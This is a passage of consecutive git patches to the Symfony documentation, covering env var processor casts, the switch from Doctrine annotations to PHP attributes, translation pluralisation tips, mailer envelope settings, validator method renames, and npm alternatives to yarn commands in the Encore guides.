-    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'my_new_console_env_dir/.env';
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'some/custom/path/to/.env';
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
     // ...
 
-And/or::
+Web front-controller::
 
     // public/index.php
     
     // ...
-    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'my_new_web_env_dir/.env';
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env';
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
     // ...

From b396b0218cb2040faee774476292cf581481b459 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Wed, 11 Aug 2021 09:38:28 +0200
Subject: [PATCH 1073/5766] Improve url env var processor with type cast

---
 configuration/env_var_processors.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index a1c28de0c4f..e5e65d3255f 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -549,9 +549,9 @@ Symfony provides the following env var processors:
                 clients:
                     default:
                         hosts:
-                            - { host: '%env(key:host:url:MONGODB_URL)%', port: '%env(key:port:url:MONGODB_URL)%' }
-                        username: '%env(key:user:url:MONGODB_URL)%'
-                        password: '%env(key:pass:url:MONGODB_URL)%'
+                            - { host: '%env(string:key:host:url:MONGODB_URL)%', port: '%env(int:key:port:url:MONGODB_URL)%' }
+                        username: '%env(string:key:user:url:MONGODB_URL)%'
+                        password: '%env(string:key:pass:url:MONGODB_URL)%'
                 connections:
                     default:
                         database_name: '%env(key:path:url:MONGODB_URL)%'
@@ -566,8 +566,8 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <mongodb:config>
-                    <mongodb:client name="default" username="%env(key:user:url:MONGODB_URL)%" password="%env(key:pass:url:MONGODB_URL)%">
-                        <mongodb:host host="%env(key:host:url:MONGODB_URL)%" port="%env(key:port:url:MONGODB_URL)%"/>
+                    <mongodb:client name="default" username="%env(string:key:user:url:MONGODB_URL)%" password="%env(string:key:pass:url:MONGODB_URL)%">
+                        <mongodb:host host="%env(string:key:host:url:MONGODB_URL)%" port="%env(int:key:port:url:MONGODB_URL)%"/>
                     </mongodb:client>
                     <mongodb:connections name="default" database_name="%env(key:path:url:MONGODB_URL)%"/>
                 </mongodb:config>
@@ -581,12 +581,12 @@ Symfony provides the following env var processors:
                     'default' => [
                         'hosts' => [
                             [
-                                'host' => '%env(key:host:url:MONGODB_URL)%',
-                                'port' => '%env(key:port:url:MONGODB_URL)%',
+                                'host' => '%env(string:key:host:url:MONGODB_URL)%',
+                                'port' => '%env(int:key:port:url:MONGODB_URL)%',
                             ],
                         ],
-                        'username' => '%env(key:user:url:MONGODB_URL)%',
-                        'password' => '%env(key:pass:url:MONGODB_URL)%',
+                        'username' => '%env(string:key:user:url:MONGODB_URL)%',
+                        'password' => '%env(string:key:pass:url:MONGODB_URL)%',
                     ],
                 ],
                 'connections' => [

From b61d2a9aefe6cb7285e251c49db0795e7e1d833b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 11 Aug 2021 12:02:22 +0200
Subject: [PATCH 1074/5766] Revert the changes made in #15424

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 087622036a2..7420a822ab6 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -352,7 +352,7 @@ RabbitMQ      5672      ``RABBITMQ_`` (set user and pass via Docker ``RABBITMQ_D
 Elasticsearch 9200      ``ELASTICSEARCH_``
 MongoDB       27017     ``MONGODB_`` (set the database via a Docker ``MONGO_DATABASE`` env var)
 Kafka         9092      ``KAFKA_``
-MailCatcher   1025/1080 ``MAILCATCHER_``
+MailCatcher   1025/1080 ``MAILER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
 ============= ========= ======================

From 8d9a114c8a4c8ec65318ec6e19b08c0a435710c5 Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Wed, 11 Aug 2021 16:33:40 +0400
Subject: [PATCH 1075/5766] Replaced doctrine annotations with attributes

I'm not sure whether this is a significant change, but I'd like to keep the usage examples consistent across configuration types.
---
 reference/constraints/UniqueEntity.rst | 21 ++++++---------------
 1 file changed, 6 insertions(+), 15 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 13f08952b24..e3dd0a4dbe6 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -76,15 +76,11 @@ between all of the rows in your user table:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        /**
-         * @ORM\Entity
-         */
+        #[ORM\Entity]
         #[UniqueEntity('email')]
         class User
         {
-            /**
-             * @ORM\Column(name="email", type="string", length=255, unique=true)
-             */
+            #[ORM\Column(name: 'email', type: 'string', length: 255, unique: true)]
             #[Assert\Email]
             protected $email;
         }
@@ -223,12 +219,11 @@ Consider this example:
         // src/Entity/Service.php
         namespace App\Entity;
 
+        use App\Entity\Host;
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
 
-        /**
-         * @ORM\Entity
-         */
+        #[ORM\Entity]
         #[UniqueEntity(
             fields: ['host', 'port'],
             errorPath: 'port',
@@ -236,14 +231,10 @@ Consider this example:
         )]
         class Service
         {
-            /**
-             * @ORM\ManyToOne(targetEntity="App\Entity\Host")
-             */
+            #[ORM\ManyToOne(targetEntity: Host::class)]
             public $host;
 
-            /**
-             * @ORM\Column(type="integer")
-             */
+            #[ORM\Column(type: 'integer')]
             public $port;
         }
 

From 2d3610521374525bb5b1f0b5464997be912adfe1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Thu, 12 Aug 2021 10:46:20 +0200
Subject: [PATCH 1076/5766] [Serializer] Fixed context key

beacause of code update
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 2931a361493..92250d2f5a9 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -162,7 +162,7 @@ resources. This context is passed to all normalizers. For example:
 
 .. versionadded:: 5.4
 
-    The usage of the ``empty_arrays_as_object`` option by default in the
+    The usage of the ``empty_array_as_object`` option by default in the
     Serializer was introduced in Symfony 5.4.
 
 You can pass the context like following::

From b8debc577af26c525b59b05f70317fd75fa34fef Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 19 Apr 2021 16:44:32 +0200
Subject: [PATCH 1077/5766] Update translation.rst

---
 translation.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/translation.rst b/translation.rst
index a612c218454..29285a114a1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -410,6 +410,15 @@ The ``trans`` filter can be used to translate *variable texts* and complex expre
         {{ message|trans|raw }}
         {{ '<h3>bar</h3>'|trans|raw }}
 
+.. tip::
+
+    When a number is provided as a parameter named "%count%", the message is parsed for plural
+    forms and a translation is chosen according to this number using the following rules:
+
+    .. code-block:: twig
+
+       {{ message|trans({'%name%': 'Fabien', '%count%' => 1}, 'app') }}
+
 .. tip::
 
     You can set the translation domain for an entire Twig template with a single tag:

From 88291540c381d1c051e23fc5badfa7bdfeef5f95 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Aug 2021 15:54:53 +0200
Subject: [PATCH 1078/5766] Reword

---
 translation.rst | 25 ++++++++++++++++---------
 1 file changed, 16 insertions(+), 9 deletions(-)

diff --git a/translation.rst b/translation.rst
index 29285a114a1..3026da62ff8 100644
--- a/translation.rst
+++ b/translation.rst
@@ -297,6 +297,22 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
+.. tip::
+
+    If you don't use the ICU MessageFormat syntax in your translation files,
+    pass a parameter named "%count%" to select the best plural form of the message:
+
+    .. code-block:: twig
+
+       {{ message|trans({'%name%': '...', '%count%' => 1}, 'app') }}
+
+    The ``message`` variable must include all the different versions of this
+    message based on the value of the ``count`` parameter. For example:
+
+    .. code-block:: text
+
+        {0}%name% has no apples|{1}%name% has one apple|]1,Inf[ %name% has %count% apples
+
 .. _translatable-objects:
 
 Translatable Objects
@@ -410,15 +426,6 @@ The ``trans`` filter can be used to translate *variable texts* and complex expre
         {{ message|trans|raw }}
         {{ '<h3>bar</h3>'|trans|raw }}
 
-.. tip::
-
-    When a number is provided as a parameter named "%count%", the message is parsed for plural
-    forms and a translation is chosen according to this number using the following rules:
-
-    .. code-block:: twig
-
-       {{ message|trans({'%name%': 'Fabien', '%count%' => 1}, 'app') }}
-
 .. tip::
 
     You can set the translation domain for an entire Twig template with a single tag:

From adba2b816600419571a299f41c1be2d910956e21 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 14 Apr 2021 15:31:10 +0200
Subject: [PATCH 1079/5766] Added cautionbox for sender

TODO: Same for "recipients", line 3141
---
 reference/configuration/framework.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d6ad1ceacac..c1a69582ffc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3373,8 +3373,11 @@ sender
 
 **type**: ``string``
 
-Sender used by the ``Mailer``. Keep in mind that this setting override a
-sender set in the code.
+Sender used as ``MAIL FROM`` in the SMTP session.
+
+.. caution::
+
+    This setting overrides a sender set in the code.
 
 recipients
 """"""""""

From 05e1203359cfe618790fb02939919add2e544201 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Aug 2021 16:34:40 +0200
Subject: [PATCH 1080/5766] Tweaks

---
 reference/configuration/framework.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c1a69582ffc..bfe5cddef45 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3373,11 +3373,9 @@ sender
 
 **type**: ``string``
 
-Sender used as ``MAIL FROM`` in the SMTP session.
-
-.. caution::
-
-    This setting overrides a sender set in the code.
+The "envelope sender" which is used as the value of ``MAIL FROM`` during the
+the `establishment of the SMTP session`_. This value overrides any other sender
+set in the code.
 
 recipients
 """"""""""
@@ -3642,3 +3640,4 @@ to know their differences.
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
+_ ..`establishment of the SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example

From 1bb1a6a367e9be7ec0a2f8c2f6b853e5e2c9a418 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Aug 2021 16:44:39 +0200
Subject: [PATCH 1081/5766] Fixed a link

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index bfe5cddef45..60a93634be2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3640,4 +3640,4 @@ to know their differences.
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
-_ ..`establishment of the SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
+.. _`establishment of the SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example

From 6b69fe379a73140a5f592225cd6d96ae4257e980 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 12 Aug 2021 17:17:21 +0200
Subject: [PATCH 1082/5766] Minor typos

Follow-up of https://github.com/symfony/symfony-docs/pull/15240
This is the *full* SMTP session, not just the "establishment".
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 60a93634be2..ef604f6ef67 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3374,7 +3374,7 @@ sender
 **type**: ``string``
 
 The "envelope sender" which is used as the value of ``MAIL FROM`` during the
-the `establishment of the SMTP session`_. This value overrides any other sender
+`SMTP session`_. This value overrides any other sender
 set in the code.
 
 recipients
@@ -3640,4 +3640,4 @@ to know their differences.
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
-.. _`establishment of the SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
+.. _`SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example

From 18fb7c30a5f81ed9418957b487146266d561b554 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 12 Aug 2021 17:26:52 +0200
Subject: [PATCH 1083/5766] Fixing "envelope recipient"

Second part of https://github.com/symfony/symfony-docs/pull/15240
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 60a93634be2..ba9daa9eb25 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3382,8 +3382,8 @@ recipients
 
 **type**: ``array``
 
-Recipients used by the ``Mailer``. Keep in mind that this setting override
-recipients set in the code.
+The "envelope recipient" which is used as the value of ``RCPT TO``  during the
+the `SMTP session`_. This value overrides any other sender set in the code.
 
 .. configuration-block::
 

From b30bff4b8f89f61cdc53b25d51606c741b7f8cc9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 12 Aug 2021 23:49:33 +0200
Subject: [PATCH 1084/5766] Showing how to pass options

Two things are important:
* It wasn't shown how to actually pass an option to the validator.
* How to do it differs between Annotations and Attributes (notice the `options` keyword).
---
 validation/custom_constraint.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5f85cb9092e..07fc8c85a73 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -29,6 +29,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
         class ContainsAlphanumeric extends Constraint
         {
             public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
         }
 
     .. code-block:: php-attributes
@@ -45,8 +46,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
         }
 
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
-use it as an annotation/attribute in other classes. If the constraint has
-configuration options, define them as public properties on the constraint class.
+use it as an annotation/attribute in other classes.
 
 .. versionadded:: 5.2
 
@@ -103,6 +103,11 @@ The validator class only has one required method ``validate()``::
                 // separate multiple types using pipes
                 // throw new UnexpectedValueException($value, 'string|int');
             }
+            
+            // access your configuration options like this:
+            if ('strict' === $constraint->mode) {
+                // ...
+            }
 
             if (!preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
                 // the argument must be a string or an object implementing __toString()
@@ -141,7 +146,7 @@ You can use custom validators like the ones provided by Symfony itself:
 
             /**
              * @Assert\NotBlank
-             * @AcmeAssert\ContainsAlphanumeric
+             * @AcmeAssert\ContainsAlphanumeric(mode="loose")
              */
             protected $name;
 
@@ -161,7 +166,7 @@ You can use custom validators like the ones provided by Symfony itself:
             // ...
 
             #[Assert\NotBlank]
-            #[AcmeAssert\ContainsAlphanumeric]
+            #[AcmeAssert\ContainsAlphanumeric(options: ['mode' => 'loose'])]
             protected $name;
 
             // ...

From 2a2f7d3baacf85b839c7e786ca42e035a3378d5f Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Fri, 13 Aug 2021 01:50:17 +0200
Subject: [PATCH 1085/5766] Update browser_kit.rst

---
 components/browser_kit.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 475c84b9365..9648afc31e4 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -60,7 +60,7 @@ This method accepts a request and should return a response::
 For a simple implementation of a browser based on the HTTP layer, have a look
 at the :class:`Symfony\\Component\\BrowserKit\\HttpBrowser` provided by
 :ref:`this component <component-browserkit-external-requests>`. For an implementation based
-on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\Client`
+on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\HttpClientKernel`
 provided by the :doc:`HttpKernel component </components/http_kernel>`.
 
 Making Requests

From 504e5a3cb39960bb75bfec209caa6206cc7ae2a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Aug 2021 08:34:41 +0200
Subject: [PATCH 1086/5766] Tweak

---
 reference/configuration/framework.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ef604f6ef67..1d5bcf75851 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3374,8 +3374,7 @@ sender
 **type**: ``string``
 
 The "envelope sender" which is used as the value of ``MAIL FROM`` during the
-`SMTP session`_. This value overrides any other sender
-set in the code.
+`SMTP session`_. This value overrides any other sender set in the code.
 
 recipients
 """"""""""

From 8d86ed04b7a2a7f0ad12b1f04b5157300466a377 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Aug 2021 08:49:58 +0200
Subject: [PATCH 1087/5766] Minor fix

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 42a3d55134f..55124297a25 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3381,8 +3381,8 @@ recipients
 
 **type**: ``array``
 
-The "envelope recipient" which is used as the value of ``RCPT TO``  during the
-the `SMTP session`_. This value overrides any other sender set in the code.
+The "envelope recipient" which is used as the value of ``RCPT TO`` during the
+the `SMTP session`_. This value overrides any other recipient set in the code.
 
 .. configuration-block::
 

From aa67a0f9283b267ba45cca25e22788a439328724 Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Fri, 13 Aug 2021 11:57:48 +0400
Subject: [PATCH 1088/5766] Replaced doctrine annotations with attributes

---
 reference/constraints/Traverse.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 4c5754083a5..a9604056738 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -94,30 +94,27 @@ that all have constraints on their properties.
         // src/Entity/BookCollection.php
         namespace App\Entity;
 
+        use App\Entity\Book;
         use Doctrine\Common\Collections\ArrayCollection;
-        use Doctrine\Common\Collections\Collection
+        use Doctrine\Common\Collections\Collection;
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Component\Validator\Constraints as Assert;
 
-        /**
-         * @ORM\Entity
-         */
+        #[ORM\Entity]
         #[Assert\Traverse]
         class BookCollection implements \IteratorAggregate
         {
             /**
              * @var string
-             *
-             * @ORM\Column
              */
+            #[ORM\Column]
             #[Assert\NotBlank]
             protected $name = '';
 
             /**
              * @var Collection|Book[]
-             *
-             * @ORM\ManyToMany(targetEntity="App\Entity\Book")
              */
+            #[ORM\ManyToMany(targetEntity: Book::class)] 
             protected $books;
 
             // some other properties

From 408fd801729e9df9223622539defe11cc0104b9a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Aug 2021 12:27:12 +0200
Subject: [PATCH 1089/5766] Fix a method name

---
 components/options_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index dac384c7f62..37e14d5418a 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -381,7 +381,7 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
 .. tip::
 
     You can even use the :doc:`Validator </validation>` component to validate the
-    input by using the :method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
+    input by using the :method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable`
     method::
 
         use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -389,7 +389,7 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
         use Symfony\Component\Validator\Validation;
 
         // ...
-        $resolver->setAllowedValues('transport', Validation::createValidCallable(
+        $resolver->setAllowedValues('transport', Validation::createIsValidCallable(
             new Length(['min' => 10 ])
         ));
 

From 4b01042ad96d4a521cf74ba2c5270e07a9734e52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Aug 2021 12:27:45 +0200
Subject: [PATCH 1090/5766] Fix a wrong method name

---
 validation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/validation.rst b/validation.rst
index d4dd7b9279a..3cafb01d133 100644
--- a/validation.rst
+++ b/validation.rst
@@ -244,7 +244,7 @@ when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 :method:`Symfony\\Component\\Validator\\Validation::createCallable`
     This returns a closure that throws ``ValidationFailedException`` when the
     constraints aren't matched.
-:method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
+:method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable`
     This returns a closure that returns ``false`` when the constraints aren't matched.
 
 .. versionadded:: 5.1
@@ -253,7 +253,7 @@ when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 
 .. versionadded:: 5.3
 
-    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
+    ``Validation::createIsValidCallable()`` was introduced in Symfony 5.3.
 
 .. index::
    single: Validation; Constraints

From b9cfe0833d283559a47ad8ea77b80537c7a9af88 Mon Sep 17 00:00:00 2001
From: Navid Salehi <nvdsalehi@gmail.com>
Date: Sun, 15 Aug 2021 17:58:19 +0430
Subject: [PATCH 1091/5766] resolves #15575 add npm equivalent of yarn commands
 in a separate code block.

---
 frontend/encore/advanced-config.rst | 10 ++++-
 frontend/encore/bootstrap.rst       | 23 +++++++---
 frontend/encore/dev-server.rst      | 20 +++++++--
 frontend/encore/faq.rst             |  7 +--
 frontend/encore/installation.rst    | 26 +++++++----
 frontend/encore/postcss.rst         | 10 ++++-
 frontend/encore/reactjs.rst         | 11 ++++-
 frontend/encore/simple-example.rst  | 67 ++++++++++++++++++++---------
 frontend/encore/url-loader.rst      | 10 ++++-
 frontend/encore/vuejs.rst           | 10 ++++-
 10 files changed, 144 insertions(+), 50 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index eb77baef504..7e5403a9a60 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -103,9 +103,15 @@ state of the current configuration to build a new one:
 When running Encore, both configurations will be built in parallel. If you
 prefer to build configs separately, pass the ``--config-name`` option:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn encore dev --config-name firstConfig
+    .. code-block:: terminal
+
+        $ yarn encore dev --config-name firstConfig
+
+    .. code-block:: terminal
+
+        $ npm run dev -- --config-name firstConfig
 
 Next, define the output directories of each build:
 
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 34d503767c6..1051b386032 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -5,9 +5,15 @@ This article explains how to install and integrate the `Bootstrap CSS framework`
 in your Symfony application using :doc:`Webpack Encore </frontend>`.
 First, to be able to customize things further, we'll install ``bootstrap``:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn add bootstrap --dev
+    .. code-block:: terminal
+
+        $ yarn add bootstrap --dev
+
+    .. code-block:: terminal
+
+        $ npm install bootstrap --save-dev
 
 Importing Bootstrap Styles
 --------------------------
@@ -40,10 +46,17 @@ Importing Bootstrap JavaScript
 First, install the JavaScript dependencies required by the Bootstrap version
 used in your application:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        // jQuery is only required in versions prior to Bootstrap 5
+        $ yarn add jquery @popperjs/core --dev
+
+    .. code-block:: terminal
 
-    // jQuery is only required in versions prior to Bootstrap 5
-    $ yarn add jquery @popperjs/core --dev
+        // jQuery is only required in versions prior to Bootstrap 5
+        $ npm install jquery @popperjs/core --save-dev
 
 Now, require bootstrap from any of your JavaScript files:
 
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index b474d280938..16530c40dac 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -4,9 +4,15 @@ Using webpack-dev-server and HMR
 While developing, instead of using ``yarn encore dev --watch``, you can use the
 `webpack-dev-server`_:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn encore dev-server
+
+    .. code-block:: terminal
 
-    $ yarn encore dev-server
+        $ npm run dev-server
 
 This builds and serves the front-end assets from a new server. This server runs at
 ``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
@@ -21,9 +27,15 @@ you're done: the paths in your templates will automatically point to the dev ser
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn encore dev-server --https --port 9000
+
+    .. code-block:: terminal
 
-    $ yarn encore dev-server --https --port 9000
+        $ npm run dev-server -- --https --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
 method in your ``webpack.config.js`` file:
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index f349cf350cf..9d1f3d864be 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -53,7 +53,7 @@ and the built files. Your ``.gitignore`` file should include:
     # whatever path you're passing to Encore.setOutputPath()
     /public/build
 
-You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock``.
+You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock`` or ``package-lock.json``.
 
 My App Lives under a Subdirectory
 ---------------------------------
@@ -105,8 +105,9 @@ file script tag is rendered automatically.
 This dependency was not found: some-module in ./path/to/file.js
 ---------------------------------------------------------------
 
-Usually, after you install a package via yarn, you can require / import it to use
-it. For example, after running ``yarn add respond.js``, you try to require that module:
+Usually, after you install a package via yarn or npm, you can require / import
+it to use it. For example, after running ``yarn add respond.js`` or ``npm install respond.js``,
+you try to require that module:
 
 .. code-block:: javascript
 
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 7cf878a1637..90d8daa0348 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -11,10 +11,17 @@ Installing Encore in Symfony Applications
 Run these commands to install both the PHP and JavaScript dependencies in your
 project:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ composer require symfony/webpack-encore-bundle
-    $ yarn install
+    .. code-block:: terminal
+
+        $ composer require symfony/webpack-encore-bundle
+        $ yarn install
+
+    .. code-block:: terminal
+
+        $ composer require symfony/webpack-encore-bundle
+        $ npm install
 
 If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable
 the `WebpackEncoreBundle`_, create the ``assets/`` directory, add a
@@ -30,12 +37,15 @@ Installing Encore in non Symfony Applications
 
 Install Encore into your project via Yarn:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn add @symfony/webpack-encore --dev
 
-    $ yarn add @symfony/webpack-encore --dev
+    .. code-block:: terminal
 
-    # if you prefer npm, run this command instead:
-    $ npm install @symfony/webpack-encore --save-dev
+        $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
 dependencies into a ``node_modules/`` directory. Yarn also creates/updates a
@@ -145,7 +155,7 @@ Next, open the new ``assets/js/app.js`` file which contains some JavaScript code
     // any CSS you import will output into a single css file (app.css in this case)
     import '../css/app.css';
 
-    // Need jQuery? Install it with "yarn add jquery", then uncomment to import it.
+    // Need jQuery? Install it with "yarn add jquery"(or "npm install jquery"), then uncomment to import it.
     // import $ from 'jquery';
 
     console.log('Hello Webpack Encore! Edit me in assets/js/app.js');
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
